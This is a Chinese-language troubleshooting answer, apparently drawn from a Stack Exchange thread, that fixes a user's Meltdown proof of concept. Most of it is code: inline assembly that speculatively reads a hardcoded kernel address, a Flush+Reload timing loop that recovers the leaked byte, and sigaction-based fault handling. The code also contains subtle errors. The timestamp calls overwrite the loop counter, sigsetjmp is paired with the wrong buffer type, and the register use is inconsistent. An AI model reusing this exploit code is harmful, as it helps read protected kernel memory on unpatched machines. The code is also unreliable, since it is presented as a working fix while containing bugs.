Meltdown测试中CPU乱序执行失效的原因及促执行方法咨询

首先，你的测试环境（未打补丁的4.8.0-36内核、Haswell架构的i5-4300M）确实符合Meltdown的触发条件，结果随机的核心问题大概率出在编译器优化干扰、乱序执行的指令未被正确保留，以及单次测试的随机性上，下面逐一拆解并给出针对性修复方案：

一、核心问题分析 #

1. 编译器优化清除了关键指令
   你的meltdown函数中，array[data*4096+DELTA] += 10;这行代码在正常执行流中永远不会被执行（因为前一行的内核地址访问会触发SIGSEGV）。现代编译器（比如GCC）会识别到这一点，直接把这行代码优化掉——没有指令执行，自然不会有缓存侧信道的痕迹。

2. 单次测试的随机性
   Meltdown的缓存侧信道依赖CPU乱序执行的微小时间差，单次测试很容易被内核调度、缓存干扰等因素影响，导致结果随机。

3. 信号处理的兼容性问题
   你使用的signal函数行为在不同系统上存在差异，可能导致异常处理的时机不对，干扰乱序执行的缓存操作完成。

二、针对性修复方案 #

1. 用汇编强制保留乱序执行指令 #

必须绕过编译器优化，直接用汇编编写核心的内存访问和缓存操作代码，确保CPU能在异常触发前完成乱序执行：

#include <x86intrin.h>

#define DELTA 100 // 确保小于4096，避免跨页偏移问题
volatile uint8_t array[256 * 4096 + DELTA]; // volatile防止编译器优化

void meltdown(unsigned long kernel_addr) {
    char data;
    // 汇编指令强制执行乱序操作，确保缓存行为被保留
    asm volatile(
        "movq %1, %%rax\n"          // 加载内核地址到rax
        "movb (%%rax), %%bl\n"      // 尝试读取内核数据（触发异常）
        "shlq $12, %%rbx\n"         // 等价于乘以4096（左移12位）
        "addq %2, %%rbx\n"          // 加上DELTA偏移
        "movb array(%%rbx), %%al\n" // 读取数组元素，强制缓存该位置
        : "=b"(data)
        : "r"(kernel_addr), "r"(DELTA)
        : "rax", "memory" // 告诉编译器rax和内存状态被修改，禁止优化
    );
}

2. 优化攻击信道的统计逻辑 #

单次测试的时间差随机性太强，改为多次重复攻击并统计缓存命中次数，取出现次数最多的结果：

void attackChannel_x86(unsigned long kernel_addr) {
    register uint64_t time1, time2;
    volatile uint8_t *addr;
    int counts[256] = {0};
    const int iterations = 100; // 重复100次攻击，提高准确率

    for (int j = 0; j < iterations; j++) {
        flushChannel(); // 每次攻击前清空所有数组元素的缓存
        if (sigsetjmp(jbuf, 1) == 0) {
            meltdown(kernel_addr);
        }

        // 遍历所有可能的ASCII值，统计缓存命中次数
        for (int i = 0; i < 256; i++) {
            addr = &array[i * 4096 + DELTA];
            time1 = __rdtscp(&j);
            (void)*addr; // 强制访问内存
            time2 = __rdtscp(&j) - time1;

            // 缓存命中的时间阈值（Haswell架构通常<100周期）
            if (time2 < 100) {
                counts[i]++;
            }
        }
    }

    // 找出命中次数最多的索引
    int max_count = 0, target = -1;
    for (int i = 0; i < 256; i++) {
        if (counts[i] > max_count) {
            max_count = counts[i];
            target = i;
        }
    }

    printf("最可能的秘密值：ASCII %d ('%c')，命中次数：%d\n", target, (char)target, max_count);
}

3. 替换signal为sigaction，确保信号处理稳定 #

signal函数的行为存在兼容性问题，改用sigaction来设置信号处理函数，保证异常处理的时机正确：

#include <signal.h>
#include <setjmp.h>

jmp_buf jbuf;

void catch_segv(int sig) {
    siglongjmp(jbuf, 1);
}

int main() {
    unsigned long kernel_addr = 0xfa2ef024;
    
    // 用sigaction设置信号处理
    struct sigaction sa;
    sa.sa_handler = catch_segv;
    sigemptyset(&sa.sa_mask);
    sa.sa_flags = SA_RESTART; // 确保信号处理后能正确恢复执行
    sigaction(SIGSEGV, &sa, NULL);

    attackChannel_x86(kernel_addr);
    return 0;
}

4. 移除不必要的busy loop #

你之前添加的算术循环会占用CPU的乱序执行窗口，反而干扰核心的缓存操作，直接移除即可。

三、额外注意事项 #

• 确保DELTA的值小于4096（页大小），避免数组索引跨页导致的缓存行为异常；
• 运行程序时需要root权限，否则无法访问某些内核相关资源；
• 可以关闭CPU的超线程（在BIOS中设置），减少线程间的缓存干扰，提高测试成功率。

内容的提问来源于stack exchange，提问作者BenKenobi007